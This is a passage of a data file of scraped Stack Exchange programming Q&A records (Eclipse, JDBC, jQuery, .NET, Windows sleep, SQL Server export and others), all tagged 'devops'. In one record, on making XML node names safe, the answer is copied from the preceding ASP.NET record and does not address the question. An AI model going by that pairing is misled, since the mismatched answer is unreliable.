}\n});\n```\n```\nNB: The \"Class\" object demonstrated above isn't included in jQuery itself - it's a 25 line snippet from Mr. jQuery himself, provided in the article above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.558450"}
{"id": "hf_2053febadfa7", "question": "<p>This is an Eclipse question, and you can assume the Java package for all these Eclipse classes is <code>org.eclipse.core.resources</code>.  </p>\n\n<p>I want to get an <code>IFile</code> corresponding to a location <code>String</code> I have:</p>\n\n<pre><code> \"platform:/resource/Tracbility_All_Supported_lib/processes/gastuff/globalht/GlobalHTInterface.wsdl\"\n</code></pre>\n\n<p>I have the enclosing <code>IWorkspace</code> and <code>IWorkspaceRoot</code>.  If I had the <code>IPath</code> corresponding to the location above, I could simply call <code>IWorkspaceRoot.getFileForLocation(IPath)</code>.</p>\n\n<p>How do I get the corresponding <code>IPath</code> from the location <code>String</code>?  Or is there some other way to get the corresponding <code>IFile</code>?</p>\n", "question_body": "", "answer": "```\n```\nString platformLocationString = portTypeContainer\n        .getLocation();\nString locationString = platformLocationString\n        .substring(\"platform:/resource/\".length());\nIWorkspace workspace = ResourcesPlugin.getWorkspace();\nIWorkspaceRoot workspaceRoot = workspace.getRoot();\nIFile wSDLFile = (IFile) workspaceRoot\n        .findMember(locationString);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.599459"}
{"id": "hf_02ced440806e", "question": "<p>I am writting JAVA programme using JDBC for database conntectivity , I am calling one stored procedure in that which is returning ORACLE REF CURSOR , IS there any way I can handle that without importing ORACLE PACKAGES ?</p>\n", "question_body": "", "answer": "I think I tried to do this a while ago and kind of gave up (I guess you could figure out what int value the OracleTypes.REF_CURSOR is and then use that int value, but that's a hack). If you got the patience you could define a record (or object) type and define the the cursor as a cursor with type since that can be cast using table to a value that is selectable like regular tables, ie\n```\n```\nselect * from table( sp_returning( ? ) )\n```\n```\nI did a quick google on ref cursor and jdbc and it looks like it might be an oracle extension which would explain why there is no standard way to access the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.634308"}
{"id": "hf_950f318297aa", "question": "<p>has anyone else seen this error message. a quick check with google doesn't show me much.</p>\n", "question_body": "", "answer": "You are probably trying to do something like this....\n```\n```\nalert($(\"#myElement\").tagName);\n```\n```\nYou should do this...\n```\n```\nalert($(\"#myElement\")[0].tagName);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.692647"}
{"id": "hf_a3fb55237d09", "question": "<p>How do you create a \"dockable\" form, similar to the windows in Visual Studio?</p>\n", "question_body": "", "answer": "I've used Weifen Luo's \"DockPanel Suite\" to good effect. It's an open source library that mimics Visual Studio's docking system very well, including nested docking, floating windows, tabbed windows, etc. You can download his source and see his approach there, if you'd prefer your own, simpler solution.\nSourceforge project here:\nhttp://sourceforge.net/projects/dockpanelsuite", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.716351"}
{"id": "hf_cf787ee24dfa", "question": "<p>I have an ASP.NET 1.1 application, and on my local machine the submit button on my page works fine, but when I deploy it to our development application server, I click on Submit and nothing happens.. I'm assuming that the Page_Validate() function is failing and disabling the POSTBACK, but how do I debug this and determine what is failing?  It sounds like some config problem since it works great on my local machine but not on the remote server...</p>\n", "question_body": "", "answer": "I remember back in the day with 1.1 Visual Studio used to destroy my event handler hookups occasionally.\nIf you are using Visual Studio 2003, make certain that the \"generated\" code still contains the event handler wireup for your control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.774933"}
{"id": "hf_22874086c05c", "question": "<p>I am trying to create an XML file based on data fields from a table, and I want to have the nodes named based on the value in a field from the table. The problem is that sometimes values entered in that column contain spaces and other characters not allowed in Node names.</p>\n\n<p>Does anyone have any code that will cleanup a passed in string and repalce invalid characters with replacement text so that it can be reversed on the other end and get the original value back?</p>\n\n<p>I am using .net (vb.net but I can read/convert c#)</p>\n", "question_body": "", "answer": "I remember back in the day with 1.1 Visual Studio used to destroy my event handler hookups occasionally.\nIf you are using Visual Studio 2003, make certain that the \"generated\" code still contains the event handler wireup for your control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.798588"}
{"id": "hf_977cd8c4e4b2", "question": "<p>Should I use Named Pipes, or .NET Remoting to communicate with a running process on my machine?</p>\n", "question_body": "", "answer": ".net remoting is built into .net to do inner process communication.  If you use that, they will continue to support and possibly enhance it in future versions.  Named pipes doesn't give you the promise of enhancements in future versions of .net", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.845569"}
{"id": "hf_80deb19811ab", "question": "<p>I'm using the RxTx library over usbserial on a Linux distro. The RxTx lib seems to behave quite differently (in a bad way) than how it works over serial.</p>\n\n<p>One of my biggest problems is that the <code>RxTx SerialPortEvent.OUTPUT_BUFFER_EMPTY</code> does not work on linux over usb serial.</p>\n\n<p>How do I know when I should write to the stream?  Any indicators I might have missed?</p>\n\n<p>So far my experience with writing and reading concurrently have not been great.  Does anyone know if I should lock the <code>DATA_AVAILABLE</code> handler from being invoked while I'm writing on the stream?  Or <code>RxTx</code> accepts concurrent read/writes?</p>\n", "question_body": "", "answer": "Using RxTx over usb-to-serial you can't set notifyOnOutput to true otherwise it locks up completely.\nI've learned this the hard way.  This problem is documented on a few web sites over the internet.\nI'm running it on Linux and I believe that this is a Linux only issue, although I can't confirm that.\nAs for the link you've given me... I've seen the SimpleReader and SimpleWriter examples, but these don't represent a real world application.  It is not multi-threaded, assumes a read has the full data it needs instead of buffering reads, etc.\nThanks,\nJeach!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.868825"}
{"id": "hf_4495cd16b135", "question": "<p>I'm about to inherit a set of large and complex set of stored procedures that do monthly processing on very large sets of data.</p>\n\n<p>We are in the process of debugging them so they match the original process which was written in VB6. The reason they decided to re write them in t-sql is because the vb process takes days and this new process takes hours.</p>\n\n<p>All this is fine, but how can I make these now massive chunks of t-sql code(1.5k+ lines) even remotely readable / maintainable.</p>\n\n<p>Any experience making t-sql not much of head ache is very welcome.</p>\n", "question_body": "", "answer": "First, create a directory full of .sql files and maintain them there. Add this set of .sql files to a revision control system. SVN works well. Have a tool that loads these into your database, overwriting any existing ones.\nHave a testing database, and baseline reports showing what the output of the monthly processing should look like. Your tests should also be in the form of .sql files under version control.\nYou can now refactor your procs as much as you like, and run your tests afterward to confirm correct function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.904009"}
{"id": "hf_42b05a598ae9", "question": "<p>I have a message broker with some topics, and some set of applications running on it. Now I want to run a new set of the same applications (say for QA environment) on the same topics (on the same broker, if I could). What is the best way to do this. Creating a new broker and or creating a new set of topics is cumbersome, as our environments are under tight bureaucracy.</p>\n", "question_body": "", "answer": "AFAIK EMS does not support anything like what you suggest.  There are a few options to get what you are looking for.\nHaving independent EMS servers would be the\nideal\nsolution.  This would allow your non-production environment to have some hickups without causing problems in your production environment.\nUsing the same server you can have an environment-specific prefix tacked onto all the queue/topic names.  There would need to be some application level setting for which prefix to use (qa, dev, test, prod, ...).  This would make for pretty good isolation of the environments, but would probably not work too well if any of the environments are really heavily loaded.\nFor topics you can use some JMS header property and messages subscriptions to determine which environment to route them to.  I would not recommend this as it would be pretty easy to screw it up and corrupt both environments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.938985"}
{"id": "hf_96844ab7d2ee", "question": "<p>Wondering if anybody out there has any success in using the JDEdwards XMLInterop functionality. I've been using it for a while (with a simple PInvoke, will post code later). I'm looking to see if there's a better and/or more robust way.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "As promised, here is the code for integrating with JDEdewards using XML. It's a webservice, but could be used as you see fit.\n```\n```\nnamespace YourNameSpace\n```\n```\n{\n```\n```\n/// <summary>\n/// This webservice allows you to submit JDE XML CallObject requests via a c# webservice\n/// </summary>\n[WebService(Namespace = \"http://WebSite.com/\")]\n[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]\npublic class JdeBFService : System.Web.Services.WebService\n{\n    private string _strServerName;\n    private UInt16 _intServerPort;\n    private Int16 _intServerTimeout;\n\n    public JdeBFService()\n    {\n        // Load JDE ServerName, Port, & Connection Timeout from the Web.config file.\n        _strServerName = ConfigurationManager.AppSettings[\"JdeServerName\"];\n        _intServerPort = Convert.ToUInt16(ConfigurationManager.AppSettings[\"JdePort\"], CultureInfo.InvariantCulture);\n        _intServerTimeout = Convert.ToInt16(ConfigurationManager.AppSettings[\"JdeTimeout\"], CultureInfo.InvariantCulture);\n\n    }\n\n    /// <summary>\n    /// This webmethod allows you to submit an XML formatted jdeRequest document\n    /// that will call any Master Business Function referenced in the XML document\n    /// and return a response.\n    /// </summary>\n    /// <param name=\"Xml\"> The jdeRequest XML document </param>\n    [WebMethod]\n    public XmlDocument JdeXmlRequest(XmlDocument xmlInput)\n    {\n        try\n        {\n            string outputXml = string.Empty;\n            outputXml = NativeMethods.JdeXmlRequest(xmlInput, _strServerName, _intServerPort, _intServerTimeout);\n\n            XmlDocument outputXmlDoc = new XmlDocument();\n            outputXmlDoc.LoadXml(outputXml);\n            return outputXmlDoc;\n        }\n        catch (Exception ex)\n        {\n            ErrorReporting.SendEmail(ex);\n            throw;\n        }\n    }\n}\n\n/// <summary>\n/// This interop class uses pinvoke to call the JDE C++ dll.  It only has one static function.\n/// </summary>\n/// <remarks>\n/// This class calls the xmlinterop.dll which can be found in the B9/system/bin32 directory.  \n/// Copy the dll to the webservice project's /bin directory before running the project.\n/// </remarks>\ninternal static class NativeMethods\n{\n    [DllImport(\"xmlinterop.dll\",\n        EntryPoint = \"_jdeXMLRequest@20\",\n        CharSet = CharSet.Auto,\n        ExactSpelling = false,\n        CallingConvention = CallingConvention.StdCall,\n        SetLastError = true)]\n    private static extern IntPtr jdeXMLRequest([MarshalAs(UnmanagedType.LPWStr)] StringBuilder server, UInt16 port, Int32 timeout, [MarshalAs(UnmanagedType.LPStr)] StringBuilder buf, Int32 length);\n\n    public static string JdeXmlRequest(XmlDocument xmlInput, string strServerName, UInt16 intPort, Int32 intTimeout)\n    {\n        StringBuilder sbServerName = new StringBuilder(strServerName);\n        StringBuilder sbXML = new StringBuilder();\n        XmlWriter xWriter = XmlWriter.Create(sbXML);\n        xmlInput.WriteTo(xWriter);\n        xWriter.Close();\n\n        string result = Marshal.PtrToStringAnsi(jdeXMLRequest(sbServerName, intPort, intTimeout, sbXML, sbXML.Length));\n\n        return result;\n    }\n}\n```\n```\n}\nYou have to send it messages like the following one:\n```\n```\n<jdeRequest type='callmethod' user='USER' pwd='PWD' environment='ENV'>\n  <callMethod name='GetEffectiveAddress' app='JdeWebRequest' runOnError='no'>\n    <params>\n      <param name='mnAddressNumber'>10000</param>\n    </params>\n  </callMethod>\n</jdeRequest>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.962387"}
{"id": "hf_8fc524bc38f7", "question": "<p>Can this be done by setting a property? </p>\n\n<p>I'd prefer that approach then to remove all security before re-adding it. \n(As this may have other consequences.)</p>\n\n<p>Another option I can think of is to replace the particular webpart dll with a temporary one, and restart the .net process, but that's not an approach I like at all.</p>\n\n<p>What other options are there? AM I missing something obvious?</p>\n\n<p>What i'm trying to do is find a way to disable a webpart while we update the underlying database schema it's using, for example. \nSo we'd ideally like to disable a specific webpart for all users, whether it's on a mysite, or a community site, make the required changes and then re-enable it.\nThus decreasing the downtime for users.</p>\n\n<p>Whatever the solution is, we need to be able to do it across multiple front end servers, on potentially two farms easily. </p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "Go to Site Actions -> Edit Page\nYou get all the web parts edited. Click on the \"Edit\" dropdown of the Web Part you want to disable and choose \"Close\".\nThe web part disappears, but don't fear! It's not gone for good!\nTo have it back:\n-> click to Add a new Web Part -> Advanced Web Part Gallery and Options.\nThe very first option you have is to choose among \"Closed Web Parts\". When clicking on that link, you will have displayed a list of all the web parts you had closed. Just add the one you want back!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.010590"}
{"id": "hf_c1226cf87545", "question": "<p>I'm looking for a way to stream a PDF file from my server to the browser using .NET 2.0 (in binary).</p>\n\n<p>I'm trying to grab an existing PDF file from a server path and push that up as binary to the browser.</p>\n", "question_body": "", "answer": "Write the binary to the output stream,\n```\nResponse.OutputStream\n```\n. Then just add the header\n```\nContent-Disposition\n```\nheader.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.096541"}
{"id": "hf_6e28b0883cb1", "question": "<p>I am wrapping a native C++ class, which has the following methods:</p>\n\n<pre><code>class Native\n{\n    public:\n    class Local\n    {\n        std::string m_Str;\n        int m_Int;\n    };\n\n    typedef std::vector&lt;Local&gt; LocalVec;\n    typedef LocalVec::iterator LocalIter;\n\n    LocalIter BeginLocals();\n    LocalIter EndLocals();\n\n    private:\n        LocalVec m_Locals;\n};\n</code></pre>\n\n<p>1) What is the \".NET way\" of representing this same kind of interface? A single method returning an array&lt;>? Does the array&lt;> generic have iterators, so that I could implement BeginLocals() and EndLocals()? </p>\n\n<p>2) Should Local be declared as a <strong>value struct</strong> in the .NET wrapper?</p>\n\n<p>I'd really like to represent the wrapped class with a .NET flavor, but I'm very new to the managed world - and this type of information is frustrating to google for...</p>\n", "question_body": "", "answer": "Iterators aren't exactly translatable to \"the .net way\", but they are roughly replaced by IEnumerable < T > and IEnumerator < T >.\nRather than\n```\n```\nvector<int> a_vector;\n  vector<int>::iterator a_iterator;\n  for(int i= 0; i < 100; i++)\n  {\n    a_vector.push_back(i);\n  }\n\n  int total = 0;\n  a_iterator = a_vector.begin();\n  while( a_iterator != a_vector.end() ) {\n    total += *a_iterator;\n    a_iterator++;\n  }\n```\n```\nyou would see (in c#)\n```\n```\nList<int> a_list = new List<int>();\nfor(int i=0; i < 100; i++)\n{\n  a_list.Add(i);\n}\nint total = 0;\nforeach( int item in a_list)\n{\n  total += item;\n}\n```\n```\nOr more explicitly (without hiding the IEnumerator behind the foreach syntax sugar):\n```\n```\nList<int> a_list = new List<int>();\nfor (int i = 0; i < 100; i++)\n{\n    a_list.Add(i);\n}\nint total = 0;\nIEnumerator<int> a_enumerator = a_list.GetEnumerator();\nwhile (a_enumerator.MoveNext())\n{\n    total += a_enumerator.Current;\n}\n```\n```\nAs you can see, foreach just hides the .net enumerator for you.\nSo really, the \".net way\" would be to simply allow people to create List< Local > items for themselves.   If you do want to control iteration or make the collection a bit more custom, have your collection implement the IEnumerable< T > and/or ICollection< T > interfaces as well.\nA near direct translation to c# would be pretty much what you assumed:\n```\n```\npublic class Native\n{\n  public class Local\n  { \n     public string m_str;\n     public int m_int;\n  }\n\n  private List<Local> m_Locals = new List<Local>();\n\n  public List<Local> Locals\n  {\n    get{ return m_Locals;}\n  }\n}\n```\n```\nThen a user would be able to\n```\n```\nforeach( Local item in someNative.Locals)  \n{\n ... \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.153624"}
{"id": "hf_826f15acf338", "question": "<p>I want the server to always serve dates in UTC in the HTML, and have JavaScript on the client site convert it to the user's local timezone.</p>\n\n<p>Bonus if I can output in the user's locale date format.</p>\n", "question_body": "", "answer": "Don't know how to do locale, but javascript is a client side technology.\n```\n```\nusersLocalTime = new Date();\n```\n```\nwill have the client's time and date in it (as reported by their browser, and by extension the computer they are sitting at).  It should be trivial to include the server's time in the response and do some simple math to guess-timate offset.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.273875"}
{"id": "hf_59cf5617ea59", "question": "<p>I know you can do redirection based on the domain or path to rewrite the URI to point at a site-specific location and I've also seen some brutish <code>if</code> and <code>elif</code> statements for every site as shown in the following code, which I would like to avoid.</p>\n<pre class=\"lang-py prettyprint-override\"><code>if site == 'site1':\n    ...\nelif site == 'site2:\n    ...\n</code></pre>\n<p>What are some good and clever ways of running multiple sites from a single, common Python web framework (i.e., Pylons, TurboGears, etc)?</p>\n", "question_body": "", "answer": "Django has this built in.  See\nthe sites framework\n.\nAs a general technique, include a 'host' column in your database schema attached to the data you want to be host-specific, then include the\n```\nHost\n```\nHTTP header in the query when you are retrieving data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.301693"}
{"id": "hf_c814b25be066", "question": "<p>On Windows I have a problem I never encountered on Unix. That is how to get a thread to sleep for less than one millisecond. On Unix you typically have a number of choices (sleep, usleep and nanosleep) to fit your needs. On Windows, however, there is only <em>Sleep</em> with millisecond granularity. </p>\n\n<p>On Unix, I can use the use the <code>select</code> system call to create a microsecond sleep which is pretty straightforward:</p>\n\n<pre><code>int usleep(long usec)\n{\n    struct timeval tv;\n    tv.tv_sec = usec/1000000L;\n    tv.tv_usec = usec%1000000L;\n    return select(0, 0, 0, 0, &amp;tv);\n}\n</code></pre>\n\n<p>How can I achieve the same on Windows?</p>\n", "question_body": "", "answer": "On Windows the use of\n```\nselect\n```\nforces you to include the\nWinsock\nlibrary which has to be initialized like this in your application:\n```\n```\nWORD wVersionRequested = MAKEWORD(1,0);\nWSADATA wsaData;\nWSAStartup(wVersionRequested, &wsaData);\n```\n```\nAnd then the select won't allow you to be called without any socket so you have to do a little more to create a microsleep method:\n```\n```\nint usleep(long usec)\n{\n    struct timeval tv;\n    fd_set dummy;\n    SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);\n    FD_ZERO(&dummy);\n    FD_SET(s, &dummy);\n    tv.tv_sec = usec/1000000L;\n    tv.tv_usec = usec%1000000L;\n    return select(0, 0, 0, &dummy, &tv);\n}\n```\n```\nAll these created usleep methods return zero when successful and non-zero for errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.325167"}
{"id": "hf_5bff438e8306", "question": "<p>Say I have a class named Frog, it looks like:</p>\n\n<pre><code>public class Frog\n{\n     public int Location { get; set; }\n     public int JumpCount { get; set; }\n\n\n     public void OnJump()\n     {\n         JumpCount++;\n     }\n\n}\n</code></pre>\n\n<p>I need help with 2 things:</p>\n\n<ol>\n<li>I want to create an event named Jump in the class definition.</li>\n<li>I want to create an instance of the Frog class, and then create another method that will be called when the Frog jumps.</li>\n</ol>\n", "question_body": "", "answer": "```\n```\npublic event EventHandler Jump;\npublic void OnJump()\n{\n    EventHandler handler = Jump;\n    if (null != handler) handler(this, EventArgs.Empty);\n}\n```\n```\nthen\n```\n```\nFrog frog = new Frog();\nfrog.Jump += new EventHandler(yourMethod);\n\nprivate void yourMethod(object s, EventArgs e)\n{\n     Console.WriteLine(\"Frog has Jumped!\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.349179"}
{"id": "hf_8634730b59f0", "question": "<p>MonoDevelop 1.0 doesn't appear to have a code-formatter like Eclipse does for Java.  Is there a preferred shell script (or MonoDevelop add-in?) that you've found to work well?</p>\n", "question_body": "", "answer": "At the moment, source code formatting in MonoDevelop is marked as a future enhancement:\nhttps://bugzilla.novell.com/show_bug.cgi?id=321946\nIn the meantime, you may want to check out Artistic Style for C# formatting:\nhttp://astyle.sourceforge.net/\nI'm planning to see how this might be wired up as an external tool within MonoDevelop.  If I get to that, I will edit my answer with the information.\nUPDATE: I don't have enough reputation to leave a comment, so I'll make one here: Nice job, Dustin, and patch for MonoDevelop too :-)  I wonder how recent the version is that is included with Ubuntu... Either way, I'm glad you found something that works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.372431"}
{"id": "hf_c62b90157a0b", "question": "<p>I have an object that implements IDisposable that is registered with the Windsor Container and I would like to dispose of it so it's Dispose method is called and next time Resolve is called it fetches a new instance.</p>\n\n<p>Does </p>\n\n<pre><code>container.Release(obj); \n</code></pre>\n\n<p>automatically call Dispose() immediately?  Or do I need to do</p>\n\n<pre><code>obj.Dispose();\ncontainer.Release(obj);\n</code></pre>\n\n<p>Couldn't find anything in the documentation on what exactly Release does</p>\n\n<p><strong>EDIT:</strong>\nSee my answer below for the results of tests I ran.  Now the question becomes, how do I force the container to release an instance of a component with a singleton lifecycle?  This only needs to be done in one place and writing a custom lifecycle seems far too heavyweight, is there no built in way of doing it?</p>\n", "question_body": "", "answer": "It depends on the lifestyle of the component you specified when you added it to the container.\nYou would use Release() If the lifestyle is Pooled.  This puts the component back in the pool for the next retrieval (the object is not destroyed, so disposing would be bad)\nif the lifestyle is transient, a new object is created when you get the component.  In this case the disposal is up to you, and you do not need to call Release\nIf the lifestyle is Thread, the same component is used for each thread, not destroyed.\nIf the lifestyle is Singleton, only one component is created and not detroyed.\nMost likely, you are using transient components? (if you are concerned about disposing of them in a timely manner)\nin that case, just wrap it with a using and you're set (or call the dispose yourself somewhere)\n```\n```\nusing(ISomeService service = container.Resolve<ISomeService>())\n{\n // Do stuff here\n // service.Dispose is automatically called \n}\n```\n```\nEdit\n- Yes, in order to \"refresh\" or dispose and recreate your singleton you would need to either destroy the container or write a custom lifecycle.  Doing a custom lifecycle is not actually that difficult and keeps the logic to do so in one place.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.465362"}
{"id": "hf_95b3754b8124", "question": "<p>Is there an equivalent schema &amp; data export/dumping tool for SQL Server as there is for MySQL with mysqldump.   Trying to relocate a legacy ASP site and I am way out of happy place with working on a windows server.</p>\n\n<p>Note:  The DTS export utility own seems to export data, without table defs.\nUsing the Enterprise Manager and exporting the db gets closer with exporting the schema &amp; data... but still misses stored procedures.</p>\n\n<p>Basically looking for a one does it all solution that grabs everything I need at once.</p>\n", "question_body": "", "answer": "Well, Mysqldump is a series of SQL statements. You can do this with DTS, but why not just create a backup and restore it on your new machine?\nIf you want to do it via SQL:\nhttp://msdn.microsoft.com/en-us/library/aa225964(SQL.80).aspx\nOr just right click the DB and hit Tasks -> Backup (\nhttp://msdn.microsoft.com/en-us/library/ms187510.aspx\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.489002"}
{"id": "hf_f21cd233870b", "question": "<p>Consider:</p>\n\n<pre><code>List&lt;String&gt; someList = new ArrayList&lt;String&gt;();\n// add \"monkey\", \"donkey\", \"skeleton key\" to someList\n</code></pre>\n\n\n\n<pre><code>for (String item : someList) {\n    System.out.println(item);\n}\n</code></pre>\n\n<p>What would the equivalent <code>for</code> loop look like without using the <em>for each</em> syntax?</p>\n", "question_body": "", "answer": "```\n```\nfor (Iterator<String> i = someIterable.iterator(); i.hasNext();) {\n    String item = i.next();\n    System.out.println(item);\n}\n```\n```\nNote that if you need to use\n```\ni.remove();\n```\nin your loop, or access the actual iterator in some way, you cannot use the\n```\nfor ( : )\n```\nidiom, since the actual iterator is merely inferred.\nAs was noted by Denis Bueno, this code works for any object that implements the\n```\nIterable\n```\ninterface\n.\nAlso, if the right-hand side of the\n```\nfor (:)\n```\nidiom is an\n```\narray\n```\nrather than an\n```\nIterable\n```\nobject, the internal code uses an int index counter and checks against\n```\narray.length\n```\ninstead. See the\nJava Language Specification\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.512569"}
{"id": "hf_ae41ab92f576", "question": "<p>I'm working on a game where I create a random map of provinces (a la Risk or Diplomacy).  To create that map, I'm first generating a series of semi-random points, then figuring the Delaunay triangulations of those points.  </p>\n\n<p>With that done, I am now looking to create a Voronoi diagram of the points to serve as a starting point for the province borders.  My data at this point (no pun intended) consists of the original series of points and a collection of the Delaunay triangles.</p>\n\n<p>I've seen a number of ways to do this on the web, but most of them are tied up with how the Delaunay was derived.  I'd love to find something that doesn't need to be integrated to the Delaunay, but can work based off the data alone.  Failing that, I'm looking for something comprehensible to a relative geometry newbie, as opposed to optimal speed.  Thanks!</p>\n", "question_body": "", "answer": "The Voronoi diagram is just the dual graph of the Delaunay triangulation.\nSo, the edges of the Voronoi diagram are along the perpendicular bisectors of the edges of the Delaunay triangulation, so compute those lines.\nThen, compute the vertices of the Voronoi diagram by finding the intersections of adjacent edges.\nFinally, the edges are then the subsets of the lines you computed which lie between the corresponding vertices.\nNote that the exact code depends on the internal representation you're using for the two diagrams.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.600026"}
{"id": "hf_f3694af62ba4", "question": "<p>In the Vim and Emacs terminal apps, the color schemes look horrid. How do I enable the colors to be as vibrant as the GUI version (or more than 8 colors for that matter)?</p>\n\n<p>Should I just give up, and move over to their respective GUI applications? And if so, which?</p>\n", "question_body": "", "answer": "You can't have\nmore\ncolors in the terminal, because there are only ANSI codes for 8 colors (16 if you count bold/light).  If you want to customize the colors, you can use the TerminalColours plugin from\nhttp://ciaranwal.sh/2007/11/01/customising-colours-in-leopard-terminal\nPersonally, I prefer to use the so-called Carbon Emacs on my Mac.  There are several builds available; Google is your friend.  I get mine from\nhttp://www.porkrind.org/emacs/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:54.623173"}
